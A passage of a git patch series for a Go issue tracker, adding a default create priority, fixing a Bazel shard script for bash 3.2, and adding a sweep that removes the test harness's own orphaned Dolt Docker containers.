ForceIDPrefix: request.ForceIDPrefix, + Actor: request.Actor, + Issue: item.Issue, + Dependencies: item.Dependencies, + ForceIDPrefix: request.ForceIDPrefix, + DefaultPriority: item.DefaultPriority, } } diff --git a/internal/storage/issueops/public_create.go b/internal/storage/issueops/public_create.go index 693edac9e..d80952eea 100644 --- a/internal/storage/issueops/public_create.go +++ b/internal/storage/issueops/public_create.go @@ -47,9 +47,24 @@ func ValidatePublicCreateRequest(request publicops.CreateRequest) error { if err := types.CheckFieldLen("parent ID", request.ParentID); err != nil { return publicCreateValidationError(fmt.Errorf("create: %w", err)) } + if err := ValidateCreatePriority(request.Issue.Priority, request.DefaultPriority); err != nil { + return err + } return validatePublicCreateDependencies(request) } +// ValidateCreatePriority refuses a create that asks for the default priority +// (CreateRequest.DefaultPriority, and the batch items' copies of it) while its +// issue also names one: the two would disagree about what was asked for. It is +// exported so a wire client refuses the same request before the dial instead +// of dropping the member it cannot send both of. +func ValidateCreatePriority(issuePriority int, useDefault bool) error { + if useDefault && issuePriority != 0 { + return publicCreateValidationError(fmt.Errorf("create: DefaultPriority is set but the issue names priority %d", issuePriority)) + } + return nil +} + // PreparePublicCreateRequest snapshots, normalizes, and validates a public // create request using the supplied configuration. func PreparePublicCreateRequest(request publicops.CreateRequest, context PublicCreateContext) (publicops.CreateRequest, error) { @@ -61,6 +76,13 @@ func PreparePublicCreateRequest(request publicops.CreateRequest, context PublicC if issue.Status == "" { issue.Status = types.StatusOpen } + // THE ONE PLACE the create priority default is applied: every + // Lifecycle.Create, BatchCreator item and BatchApplier create item on every + // backend is prepared here, so the CLI and the HTTP handlers only say + // "absent" and never spell the number. + if request.DefaultPriority { + issue.Priority = publicops.DefaultCreatePriority + } if issue.ID != "" && !request.ForceIDPrefix { // The caller's prefix wins when it supplied one; see // CreateRequest.IDPrefix for why a front door may know better than the @@ -78,6 +100,9 @@ func PreparePublicCreateRequest(request publicops.CreateRequest, context PublicC } prepared := request prepared.Issue = issue + // The default is spent: the prepared issue now carries the priority, and + // the flag would contradict it on the re-validation below. + prepared.DefaultPriority = false if prepared.WaitsFor != nil && prepared.WaitsFor.Gate == "" { prepared.WaitsFor.Gate = string(types.WaitsForAllChildren) } diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index 8562f63b7..c566ef2db 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -218,9 +218,10 @@ func (r *uowApplyRun) applyCreate(ctx context.Context, index int, item *publicop return err } prepared, err := storageissueops.PreparePublicCreateRequest(publicops.CreateRequest{ - Actor: r.plan.Actor, - Issue: item.Issue, - ForceIDPrefix: r.plan.ForceIDPrefix, + Actor: r.plan.Actor, + Issue: item.Issue, + ForceIDPrefix: r.plan.ForceIDPrefix, + DefaultPriority: item.DefaultPriority, }, storageissueops.PublicCreateContext{ IssuePrefix: createContext.IssuePrefix, AllowedPrefixes: createContext.AllowedPrefixes, diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index edfa1af3d..8d4158ac6 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -169,6 +169,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchApplyAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/batch_creator_contract_test.go b/internal/storage/uow/batch_creator_contract_test.go index 0bc5f74fb..99621f472 100644 --- a/internal/storage/uow/batch_creator_contract_test.go +++ b/internal/storage/uow/batch_creator_contract_test.go @@ -61,6 +61,9 @@ func TestBatchCreatorContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newUOWBatchCreatorFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchCreatorFixture { diff --git a/internal/storage/uow/lifecycle_create_contract_test.go b/internal/storage/uow/lifecycle_create_contract_test.go index 19e1d16b5..e32d4a85f 100644 --- a/internal/storage/uow/lifecycle_create_contract_test.go +++ b/internal/storage/uow/lifecycle_create_contract_test.go @@ -40,6 +40,9 @@ func TestLifecycleCreateContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newUOWLifecycleCreateFixture(t *testing.T, ctx context.Context, prefix string) conformance.LifecycleCreateFixture { diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 7b3634a08..71116da50 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -100,6 +100,9 @@ type CreateItem struct { // A caller reading the event stream sees a create and then an update, not // one create carrying values nothing could have known yet. MetadataRefs map[string]Ref + // DefaultPriority is CreateRequest.DefaultPriority for this item: the item + // has no priority, and the create stores DefaultCreatePriority. + DefaultPriority bool } // UpdateItem patches one existing issue, under UpdateRequest's rules. diff --git a/issueops/batchcreator.go b/issueops/batchcreator.go index e75e1fbbc..f3fbe8316 100644 --- a/issueops/batchcreator.go +++ b/issueops/batchcreator.go @@ -43,6 +43,8 @@ type BatchCreateItem struct { // referred to at all, because nothing can name an id that does not exist // yet. Dependencies []CreateDependency + // DefaultPriority is CreateRequest.DefaultPriority for this item. + DefaultPriority bool } // CreateBatchRequest describes one creation of many issues. diff --git a/issueops/issueops.go b/issueops/issueops.go index 3d5588e2b..cb55aff60 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -224,8 +224,23 @@ type CreateRequest struct { // is handed. Without it the two `bd create` routes disagree about which // ids a workspace may mint. IDPrefix string + // DefaultPriority says the caller has no priority for the issue, and the + // create stores DefaultCreatePriority. It exists because Issue.Priority + // cannot say "absent": its zero value is P0, a real and urgent priority, so + // a caller that leaves it unset asks for critical work. The default is + // applied here, once, for every route — the CLI's `bd create` without + // --priority and an HTTP create without `priority` both set this rather + // than spelling the number themselves. + // + // Issue.Priority must be zero when it is set; a request that sets both is + // ErrValidation, because the two would disagree about what was asked for. + DefaultPriority bool } +// DefaultCreatePriority is the priority a create stores when its request sets +// DefaultPriority (CreateRequest, BatchCreateItem, CreateItem): P2, medium. +const DefaultCreatePriority = 2 + // UpdateRequest describes an issue update. type UpdateRequest struct { Actor, IssueID string From ff4f46e13702d93fd0c07c3f6dcb72c72d08bf68 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 02:00:02 +0000 Subject: [PATCH 090/213] fix(bazel): go_test_pinned_shard.sh runs under bash 3.2 (macOS Main red since #7413) (#7423) The pinned-shard wrapper kept a `declare -A shard_of` map whose only use was the "pinned twice" check. Apple's /bin/bash is 3.2, which has no associative arrays, so on the main workflow's macOS Test job scripts/pinned_shards_test.go (which runs the wrapper through the host `bash`) failed every sharded case with `declare: -A: invalid option` (exit 2). The job has been red on every main push since #7413 landed (runs 37890739870, 37900573128, 37902968742); the Bazel lanes run the wrapper on Linux bash 5 and never saw it. The check is now a membership test on the "|"-joined `all` string, which the manifest's name pattern (^Test[A-Za-z0-9_]*$) keeps free of "|". Nothing else changes: the pinned-twice refusal still fires (TestPinnedShardWrapperRejectsBadManifests/test_pinned_twice). Verified: go test -run TestPinnedShard ./scripts with PATH limited to /usr/bin:/bin (bash 3.2.57): 5 PASS; the whole ./scripts package under bash 5.3: ok; shellcheck -s bash and `/bin/bash -n` clean. Co-authored-by: Claude Fable 5.1 --- tools/bazel/go_test_pinned_shard.sh | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/tools/bazel/go_test_pinned_shard.sh b/tools/bazel/go_test_pinned_shard.sh index d1c2b5d7d..642526835 100755 --- a/tools/bazel/go_test_pinned_shard.sh +++ b/tools/bazel/go_test_pinned_shard.sh @@ -43,7 +43,10 @@ if [[ "$total" -le 1 ]]; then fi index="${TEST_SHARD_INDEX:?TEST_TOTAL_SHARDS is set but TEST_SHARD_INDEX is not}" -declare -A shard_of=() +# No associative array (bash >= 4): macOS runs this under /bin/bash 3.2 +# (scripts/pinned_shards_test.go on the main workflow's macOS job), so the +# "pinned twice" check is a membership test on the "|"-joined names, which +# the name pattern above keeps free of "|". declare -a pinned_by_shard=() pinned_shards=0 all="" @@ -57,11 +60,10 @@ while IFS= read -r line || [[ -n "$line" ]]; do echo "$manifest:$lineno: want \" \", got: $line" >&2 exit 1 fi - if [[ -n "${shard_of[$name]:-}" ]]; then + if [[ "|$all|" == *"|$name|"* ]]; then echo "$manifest:$lineno: $name is pinned twice" >&2 exit 1 fi - shard_of[$name]="$shard" pinned_by_shard[shard]="${pinned_by_shard[shard]:+${pinned_by_shard[shard]}|}$name" all="${all:+$all|}$name" ((shard > pinned_shards)) && pinned_shards="$shard" From 1cf193bc9ff8f97acb477a3a6a2d67e0ede1c8fe Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 02:39:59 +0000 Subject: [PATCH 091/213] fix(testutil): sweep Dolt test containers whose owner process exited (#7028) * fix(testutil): sweep Dolt test containers whose owner process exited (wy-4hknjt) Every Dolt container the test harness starts now carries two labels naming its owner: the test binary's pid and the host it runs on. Before a process starts its first container, the harness lists the containers labelled for this host and removes the ones whose owner pid no longer exists. In-process cleanup (t.Cleanup, TerminateDoltContainer after m.Run) never runs when a test binary is killed or panics on `go test -timeout`, and a box running with TESTCONTAINERS_RYUK_DISABLED=true has no reaper either. Each such run stranded one idle dolt-sql-server holding 100-470 MiB; 23 were standing on one loaded box after a single evening of killed runs. The sweep bounds the pile at "runs since the last run". Safety under concurrent test processes on one host: a container is removed only when kill(pid, 0) reports ESRCH. A live owner, a pid reused by another live process, or a pid this user may not signal (EPERM) all keep the container. Containers without the owner labels (older harnesses, other tools) are never touched, and the host label keeps a remote DOCKER_HOST's containers, whose pids mean nothing here, out of the sweep. The local (BEADS_TEST_DOLT_SERVER=local) backend is unaffected. Tests: the decision table (dead owners only; missing, non-numeric and non-positive pids skipped without probing), pidAlive on self and on an impossible pid, the label option stamping this process, and a Docker test that starts a dead-owned and a live-owned container, sweeps, and checks only the dead-owned one is gone. Co-Authored-By: Claude Fable 5.1 * build(bazel): sync BUILD files for testutil dolt sweep test wy-4hknjt: apply the gazelle bazel-sync patch from run 36720164405 so internal/testutil/BUILD.bazel carries the testcontainers deps. Co-Authored-By: Claude Fable 5.1 * fix(testutil): key the Dolt container sweep on the owner's PID namespace Maintainer fixup for #7028, review iterations 1 and 2 and pre-approval CI. A pid names a process only inside its PID namespace. The sweep removed a labelled container whenever kill(owner-pid, 0) returned ESRCH, so a sweeper in another namespace that shares the hostname and the Docker daemon reads every live owner as dead. That is the default shape of the maintainers' agent fleet: each session runs under bwrap --unshare-pid without --unshare-uts. Every session therefore reports one hostname, sees only its own handful of pids, and talks to one /var/run/docker.sock, with the Docker backend as the test default. On one such box on 2026-10-06, three live dolt-sql-server test containers from three test runs shared the daemon. With the original sweep merged, the first container start of a test binary in any other session would have removed them mid-test. Reproduced and fixed by running the sweep from a container (its own pid namespace, same hostname, same daemon) against a container labelled with a pid that was alive in the labelling session: - at 5978cedaa2: "removed stale Dolt test container ... (owner process exited)" while the owner was alive; - with this change: the row is listed and kept. Changes: - Stamp a third owner label, owner-pidns: the /proc/self/ns/pid link on Linux and "" elsewhere. staleContainers considers only rows from the sweeper's own namespace. On Linux the sweep is skipped when that link cannot be read. A start-time label alone would not fix this: across namespaces it would turn a pid collision into "dead" as well. An owner whose hostname or namespace cannot be read is stamped "", which no sweep on the host matches, so its container leaks instead. - docker rm -f -v: the image declares VOLUME /var/lib/dolt, and plain rm -f left that anonymous volume behind for every swept container, unlike testcontainers' own RemoveVolumes teardown. - Bound the sweep with a 30s context, plus WaitDelay on each docker command. Without WaitDelay, killing the docker process on timeout does not unblock Output() while a child it started still holds the pipe. With a forking docker shim on PATH, the call returns after 3s with this change and is still blocked after 15s without either part. - Extract parseOwnedRows and table-test it: empty fields, CRLF, trailing newline. - TestSweepStaleDoltContainers: the dead-owned container's owner is a child process that lives until both containers are up and the volumes are read, and is then killed and reaped (a zombie still reads as alive). A sibling test binary's sweep (go test ./... runs them in parallel) removes a container as soon as its owner reads as dead, and a never-live owner pid exposed the container for its whole start. The test checks only the end state for that container and its volume, polled for up to sweepTimeout, because the sibling may get there first or still be removing it when our rm fails. Reproduced with a second test process in the same PID namespace running the real sweep every 100ms alongside TestSweepStaleDoltContainers: - with a never-live owner pid: "starting Dolt container: ... No such container", the container removed inside dolt.Run; - with the child owner but no poll: 1 of 4 runs failed with "dead-owned container ... still exists after the sweep", after the sibling's rm -f -v won and ours exited 1; - with both: 6 of 6 runs pass, 2 of them through that same path. Without the reap, or without -v, the test fails. A container leaked from another namespace is now left to a sweep from that namespace, or to Ryuk. That is the conservative side of the trade. Pre-approval CI: main's //internal/testutil:testutil_dolt_test (#7328) runs this package with BEADS_TEST_DOLT_SERVER=local and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 in the required dolt-server lane, whose remote workers have no docker. Under the local backend checkDolt reports ready once the pinned dolt CLI resolves, so TestSweepStaleDoltContainers went on to dolt.Run and failed ("failed to create Docker provider"). It now gates like TestDoltServerFingerprint's container subtest: under the local backend it runs only when docker and the image are available, and skips otherwise. On the merge with main b1fe68e63a, with docker unreachable, that package run (race, -parallel 4) failed only this test; with this change it passes with the test skipped, and with docker available the test still runs and passes under either backend. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- internal/testutil/BUILD.bazel | 66 ++++++- internal/testutil/container_provider.go | 2 + internal/testutil/testdoltreap.go | 209 +++++++++++++++++++++ internal/testutil/testdoltreap_test.go | 240 ++++++++++++++++++++++++ internal/testutil/testdoltserver.go | 4 + 5 files changed, 520 insertions(+), 1 deletion(-) create mode 100644 internal/testutil/testdoltreap.go create mode 100644 internal/testutil/testdoltreap_test.go diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 03563cbde..82a658d83 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -14,6 +14,7 @@ go_library( "suite_temp.go", "testdoltbranch.go", "testdoltcommon.go", + "testdoltreap.go", "testdoltserver.go", "testdoltserver_windows.go", "tmpfs.go", @@ -114,6 +115,7 @@ go_test( "localdoltserver_test.go", "suite_temp_test.go", "testdoltbranch_test.go", + "testdoltreap_test.go", "testdoltserver_env_test.go", "testdoltserver_unreachable_test.go", "tmpfs_test.go", @@ -123,7 +125,69 @@ go_test( deps = [ "//internal/storage/doltutil", "@com_github_go_sql_driver_mysql//:mysql", - ], + ] + select({ + "@rules_go//go/platform:aix": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:android": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:darwin": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:dragonfly": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:freebsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:illumos": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:ios": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:js": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:linux": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:netbsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:openbsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:osx": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:plan9": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:qnx": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:solaris": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "//conditions:default": [], + }), ) # testutil_test on the dolt-server lane: the package's own tests of the diff --git a/internal/testutil/container_provider.go b/internal/testutil/container_provider.go index b6573eb41..6f461a776 100644 --- a/internal/testutil/container_provider.go +++ b/internal/testutil/container_provider.go @@ -39,9 +39,11 @@ func NewContainerProvider() (*ContainerProvider, error) { ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() + reapStaleDoltContainers() ctr, err := dolt.Run(ctx, DoltDockerImage, dolt.WithDatabase("beads_test"), testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + ownerLabels(), ) if err != nil { return nil, fmt.Errorf("starting Dolt container: %w", err) diff --git a/internal/testutil/testdoltreap.go b/internal/testutil/testdoltreap.go new file mode 100644 index 000000000..8cb8cf266 --- /dev/null +++ b/internal/testutil/testdoltreap.go @@ -0,0 +1,209 @@ +//go:build !windows + +package testutil + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "runtime" + "strconv" + "strings" + "sync" + "syscall" + "time" + + "github.com/testcontainers/testcontainers-go" +) + +// Stale-container sweep for the Dolt test containers this package starts. +// +// Every container started here carries three labels naming its owner: the +// test binary's pid, the PID namespace that pid belongs to, and the host it +// runs on. Before the first container of a process starts, +// reapStaleDoltContainers lists the containers labeled for this host and +// removes the ones whose owner ran in this process's PID namespace and no +// longer exists. +// +// Why: in-process cleanup (t.Cleanup, TerminateDoltContainer after m.Run) +// never runs when a test binary is killed, or panics on `go test -timeout`, +// and a box running with TESTCONTAINERS_RYUK_DISABLED=true has no reaper +// either. Each such run stranded one idle dolt-sql-server holding 100-470 MiB +// (23 at once on one loaded box, 2026-09-29). The sweep bounds the pile at +// "runs since the last run" instead of "forever". +// +// Safety under concurrent test processes sharing one Docker daemon: a +// container is removed only when its owner ran in this process's PID +// namespace and kill(pid, 0) reports ESRCH. A live owner, a pid reused by +// another live process, or a pid this user may not signal (EPERM) all keep +// the container. A pid means nothing outside its namespace, and sandboxed +// runners (bwrap --unshare-pid, a container without --pid=host) can share the +// hostname and the daemon while seeing none of each other's processes, so a +// container owned from another namespace is never a candidate: if it leaked, +// only a sweep from its own namespace removes it. The namespace label is the +// /proc/self/ns/pid link on Linux, unique among one machine's live +// namespaces, and "" elsewhere; a new namespace that reuses a dead one's +// inode only sees containers whose owners have all exited. Containers without +// the owner labels (older harnesses, other tools) are never touched, and the +// host label keeps a remote DOCKER_HOST's containers, whose pids mean nothing +// here, out of the sweep. + +const ( + ownerPIDLabel = "com.gastownhall.beads.testutil.owner-pid" + ownerPIDNSLabel = "com.gastownhall.beads.testutil.owner-pidns" + ownerHostLabel = "com.gastownhall.beads.testutil.owner-host" +) + +// sweepTimeout bounds the whole sweep, so a wedged daemon or container delays +// the first container start of a process instead of hanging it. +const sweepTimeout = 30 * time.Second + +var reapStaleOnce sync.Once + +// ownerLabels returns the container option that stamps the owner labels. +func ownerLabels() testcontainers.CustomizeRequestOption { + return testcontainers.WithLabels(ownerLabelValues(os.Getpid())) +} + +// ownerLabelValues returns the owner labels for a container owned by pid, a +// process in this process's PID namespace on this host. A hostname, or a Linux +// PID namespace, that cannot be read is stamped as "", which no sweep on this +// host matches: the container leaks rather than risk removal while pid lives. +func ownerLabelValues(pid int) map[string]string { + host, _ := os.Hostname() + ns, _ := pidNamespace() + return map[string]string{ + ownerPIDLabel: strconv.Itoa(pid), + ownerPIDNSLabel: ns, + ownerHostLabel: host, + } +} + +// pidNamespace identifies the PID namespace that os.Getpid and kill(2) +// resolve pids in: the /proc/self/ns/pid link target on Linux, such as +// "pid:[4026531836]", and "" elsewhere. +func pidNamespace() (string, error) { + if runtime.GOOS != "linux" { + return "", nil + } + return os.Readlink("/proc/self/ns/pid") +} + +// ownedContainer is one `docker ps` row: the container id and the raw values +// of its owner-pid and owner-pidns labels. +type ownedContainer struct { + id string + pid string + pidNS string +} + +// staleContainers returns the ids of the rows owned from PID namespace ns +// whose owner pid is dead according to alive. Rows owned from another +// namespace, and rows whose pid label is missing, non-numeric or +// non-positive, are kept: their owner cannot be checked from here, so nothing +// is done. +func staleContainers(rows []ownedContainer, ns string, alive func(pid int) bool) []string { + var stale []string + for _, r := range rows { + if r.pidNS != ns { + continue + } + pid, err := strconv.Atoi(strings.TrimSpace(r.pid)) + if err != nil || pid <= 0 { + continue + } + if alive(pid) { + continue + } + stale = append(stale, r.id) + } + return stale +} + +// pidAlive reports whether a process with the given pid exists. Only ESRCH +// counts as dead; EPERM means the process exists but belongs to someone else. +func pidAlive(pid int) bool { + err := syscall.Kill(pid, 0) + return !errors.Is(err, syscall.ESRCH) +} + +// dockerCommand returns a docker CLI command bound to ctx. WaitDelay lets it +// return once ctx is done even if a process the docker binary started, such +// as a wrapper script's child, still holds its output pipe open. +func dockerCommand(ctx context.Context, args ...string) *exec.Cmd { + cmd := exec.CommandContext(ctx, "docker", args...) + cmd.WaitDelay = time.Second + return cmd +} + +// listOwnedContainers returns every container (running or not) that carries +// this package's owner-host label for host. +func listOwnedContainers(ctx context.Context, host string) ([]ownedContainer, error) { + out, err := dockerCommand(ctx, "ps", "-a", "--no-trunc", + "--filter", "label="+ownerHostLabel+"="+host, + "--format", fmt.Sprintf("{{.ID}}\t{{.Label %q}}\t{{.Label %q}}", ownerPIDLabel, ownerPIDNSLabel), + ).Output() + if err != nil { + return nil, fmt.Errorf("docker ps: %w", err) + } + return parseOwnedRows(string(out)), nil +} + +// parseOwnedRows parses listOwnedContainers' `docker ps` output: one +// "idpidpidns" line per container, where a missing label prints as +// an empty field. Lines of any other shape are dropped. +func parseOwnedRows(out string) []ownedContainer { + var rows []ownedContainer + for _, line := range strings.Split(out, "\n") { + f := strings.Split(strings.TrimSuffix(line, "\r"), "\t") + if len(f) != 3 || f[0] == "" { + continue + } + rows = append(rows, ownedContainer{id: f[0], pid: f[1], pidNS: f[2]}) + } + return rows +} + +// sweepStaleDoltContainers removes every container on this host whose owner +// ran in this PID namespace and has exited, and returns the ids it removed. +// It is best effort: a docker failure is reported on stderr and leaves the +// containers alone. +func sweepStaleDoltContainers() []string { + host, err := os.Hostname() + if err != nil || host == "" { + return nil + } + ns, err := pidNamespace() + if err != nil { + fmt.Fprintf(os.Stderr, "testutil: stale Dolt container sweep skipped: %v\n", err) + return nil + } + ctx, cancel := context.WithTimeout(context.Background(), sweepTimeout) + defer cancel() + rows, err := listOwnedContainers(ctx, host) + if err != nil { + fmt.Fprintf(os.Stderr, "testutil: stale Dolt container sweep skipped: %v\n", err) + return nil + } + var removed []string + for _, id := range staleContainers(rows, ns, pidAlive) { + // -v also removes the anonymous volume behind the image's + // VOLUME /var/lib/dolt, as testcontainers' own teardown does. + if err := dockerCommand(ctx, "rm", "-f", "-v", id).Run(); err != nil { + fmt.Fprintf(os.Stderr, "testutil: removing stale Dolt container %s: %v\n", id, err) + continue + } + fmt.Fprintf(os.Stderr, "testutil: removed stale Dolt test container %s (owner process exited)\n", id[:12]) + removed = append(removed, id) + } + return removed +} + +// reapStaleDoltContainers runs sweepStaleDoltContainers once per process. It +// is called before the first Dolt container of a process starts, so the cost +// of one `docker ps` is paid once and only by runs that use Docker at all. +func reapStaleDoltContainers() { + reapStaleOnce.Do(func() { sweepStaleDoltContainers() }) +} diff --git a/internal/testutil/testdoltreap_test.go b/internal/testutil/testdoltreap_test.go new file mode 100644 index 000000000..75a0b1b16 --- /dev/null +++ b/internal/testutil/testdoltreap_test.go @@ -0,0 +1,240 @@ +//go:build !windows + +package testutil + +import ( + "context" + "math" + "os" + "os/exec" + "slices" + "strconv" + "strings" + "sync" + "testing" + "time" + + "github.com/testcontainers/testcontainers-go" + "github.com/testcontainers/testcontainers-go/modules/dolt" +) + +// testPIDNS stands in for this process's PID namespace in the pure tests. +const testPIDNS = "pid:[4026531836]" + +func TestStaleContainers_OnlyDeadOwnersAreStale(t *testing.T) { + alive := func(pid int) bool { return pid == 100 || pid == 300 } + rows := []ownedContainer{ + {id: "live-a", pid: "100", pidNS: testPIDNS}, + {id: "dead-b", pid: "200", pidNS: testPIDNS}, + {id: "live-c", pid: " 300 ", pidNS: testPIDNS}, + {id: "dead-d", pid: "400", pidNS: testPIDNS}, + {id: "no-label", pid: "", pidNS: testPIDNS}, + {id: "garbage", pid: "abc", pidNS: testPIDNS}, + {id: "zero", pid: "0", pidNS: testPIDNS}, + {id: "negative", pid: "-7", pidNS: testPIDNS}, + } + got := staleContainers(rows, testPIDNS, alive) + want := []string{"dead-b", "dead-d"} + if !slices.Equal(got, want) { + t.Fatalf("staleContainers = %v, want %v", got, want) + } +} + +func TestStaleContainers_NeverCallsAliveForUnownedRows(t *testing.T) { + alive := func(pid int) bool { + t.Fatalf("alive called for pid %d; rows without a valid owner pid must be skipped", pid) + return true + } + rows := []ownedContainer{ + {id: "x", pid: "", pidNS: testPIDNS}, + {id: "y", pid: "nope", pidNS: testPIDNS}, + {id: "z", pid: "0", pidNS: testPIDNS}, + } + if got := staleContainers(rows, testPIDNS, alive); got != nil { + t.Fatalf("staleContainers = %v, want nil", got) + } +} + +// A pid names a process only inside its PID namespace: checked from another +// one, a live owner reads as ESRCH. Rows owned from another namespace must +// never reach alive. +func TestStaleContainers_SkipsOtherPIDNamespaces(t *testing.T) { + alive := func(pid int) bool { + t.Fatalf("alive called for pid %d owned from another PID namespace", pid) + return true + } + rows := []ownedContainer{ + {id: "sibling-sandbox", pid: "200", pidNS: "pid:[4026546206]"}, + {id: "no-pidns-label", pid: "200", pidNS: ""}, + } + if got := staleContainers(rows, testPIDNS, alive); got != nil { + t.Fatalf("staleContainers = %v, want nil", got) + } +} + +func TestParseOwnedRows(t *testing.T) { + for _, tc := range []struct { + name string + out string + want []ownedContainer + }{ + {name: "no containers", out: "", want: nil}, + { + name: "trailing newline", + out: "aaa\t12\tpid:[7]\nbbb\t34\tpid:[7]\n", + want: []ownedContainer{{id: "aaa", pid: "12", pidNS: "pid:[7]"}, {id: "bbb", pid: "34", pidNS: "pid:[7]"}}, + }, + {name: "CRLF", out: "aaa\t12\tpid:[7]\r\n", want: []ownedContainer{{id: "aaa", pid: "12", pidNS: "pid:[7]"}}}, + // A missing label prints as an empty field. An empty pidns is what + // every owner outside Linux stamps, so the row must survive parsing. + {name: "empty pidns label", out: "aaa\t12\t\n", want: []ownedContainer{{id: "aaa", pid: "12"}}}, + {name: "empty labels", out: "aaa\t\t\n", want: []ownedContainer{{id: "aaa"}}}, + {name: "malformed lines", out: "aaa\t12\nbbb\n\t12\tpid:[7]\n", want: nil}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := parseOwnedRows(tc.out); !slices.Equal(got, tc.want) { + t.Errorf("parseOwnedRows(%q) = %+v, want %+v", tc.out, got, tc.want) + } + }) + } +} + +func TestOwnerLabels_StampThisProcess(t *testing.T) { + var req testcontainers.GenericContainerRequest + if err := ownerLabels().Customize(&req); err != nil { + t.Fatalf("ownerLabels: %v", err) + } + if got, want := req.Labels[ownerPIDLabel], strconv.Itoa(os.Getpid()); got != want { + t.Errorf("%s = %q, want %q", ownerPIDLabel, got, want) + } + ns, err := pidNamespace() + if err != nil { + t.Fatalf("pidNamespace: %v", err) + } + if got := req.Labels[ownerPIDNSLabel]; got != ns { + t.Errorf("%s = %q, want %q", ownerPIDNSLabel, got, ns) + } + host, _ := os.Hostname() + if got := req.Labels[ownerHostLabel]; got != host { + t.Errorf("%s = %q, want %q", ownerHostLabel, got, host) + } +} + +func TestPidAlive(t *testing.T) { + if !pidAlive(os.Getpid()) { + t.Fatal("pidAlive(self) = false") + } + // No process can have a pid this large on Linux (pid_max <= 2^22) or + // macOS (PID_MAX 99998): kill(2) reports ESRCH. + if pidAlive(math.MaxInt32) { + t.Fatalf("pidAlive(%d) = true, want false", math.MaxInt32) + } +} + +// TestSweepStaleDoltContainers starts one Dolt container owned by a child +// process and one owned by this process, ends the child, sweeps, and checks +// that only the container whose owner exited and its volume are gone. 